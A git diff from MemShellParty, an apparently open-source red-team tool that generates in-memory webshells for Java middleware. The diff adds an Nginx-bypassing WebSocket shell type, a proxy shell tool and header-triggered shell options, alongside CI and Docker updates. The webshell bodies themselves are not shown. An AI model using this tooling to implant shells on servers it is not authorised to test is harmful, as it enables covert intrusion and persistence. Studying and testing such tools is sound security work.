depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "struct2"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
name: Single IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
depend_tasks:
|
||||||
|
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||||
|
required: false
|
||||||
|
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||||
|
type: string
|
||||||
|
test_class:
|
||||||
|
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||||
|
required: true
|
||||||
|
type: string
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
integration-test:
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -25,10 +25,10 @@
|
|||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@@ -34,23 +35,18 @@ public class ViewController {
|
|||||||
return renderFileData(relativePath, response);
|
return renderFileData(relativePath, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(4);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
@GetMapping("/ui/**")
|
||||||
public String handleHtmlView(HttpServletRequest request) {
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
String viewPath = fullPath.substring(4);
|
String docPath = fullPath.substring(4);
|
||||||
return viewPath + "/index";
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
}
|
}
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
@@ -61,8 +57,6 @@ public class ViewController {
|
|||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
return "File not found: " + relativePath;
|
return "File not found: " + relativePath;
|
||||||
}
|
}
|
||||||
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
|
||||||
response.setCharacterEncoding("UTF-8");
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
InputStreamReader reader = new InputStreamReader(
|
||||||
resource.getInputStream(),
|
resource.getInputStream(),
|
||||||
StandardCharsets.UTF_8
|
StandardCharsets.UTF_8
|
||||||
|
|||||||
@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
|
|||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
|
case Proxy -> ProxyConfig.builder()
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.shellClassName(shellToolConfig.shellClassName).build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral()
|
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,10 +9,16 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.4.1"
|
version = "2.6.1"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenLocal") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||||
|
dependsOn(":packer:publishToMavenLocal")
|
||||||
|
dependsOn(":generator:publishToMavenLocal")
|
||||||
}
|
}
|
||||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
|||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
|
|||||||
@@ -32,7 +32,9 @@ dependencies {
|
|||||||
api(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.jakarta.websocket.client.api)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.jakarta.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
@@ -63,6 +64,11 @@ public class MemShellGenerator {
|
|||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||||
|
}
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -60,6 +61,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -137,6 +140,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
@@ -235,6 +240,13 @@ public class ServerFactory {
|
|||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||||
|
|||||||
@@ -12,5 +12,6 @@ public class ShellTool {
|
|||||||
public static final String Suo5v2 = "Suo5v2";
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
public static final String AntSword = "AntSword";
|
public static final String AntSword = "AntSword";
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
|
public static final String Proxy = "Proxy";
|
||||||
public static final String Custom = "Custom";
|
public static final String Custom = "Custom";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,10 +23,11 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
|||||||
@@ -45,7 +45,9 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
|
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
|
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 加密器
|
* 加密器
|
||||||
*/
|
*/
|
||||||
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
return self();
|
return self();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -16,37 +16,38 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
/**
|
|
||||||
* 注入器 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> injectorBuilder;
|
|
||||||
/**
|
|
||||||
* 内存马 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> shellBuilder;
|
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类字节码
|
||||||
|
*/
|
||||||
|
private byte[] helperClassBytes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 添加静态代码块调用构造方法初始化
|
* 添加静态代码块调用构造方法初始化
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import lombok.*;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@ToString
|
||||||
|
public class ProxyConfig extends ShellToolConfig {
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -73,12 +73,18 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean lambdaSuffix = false;
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
|
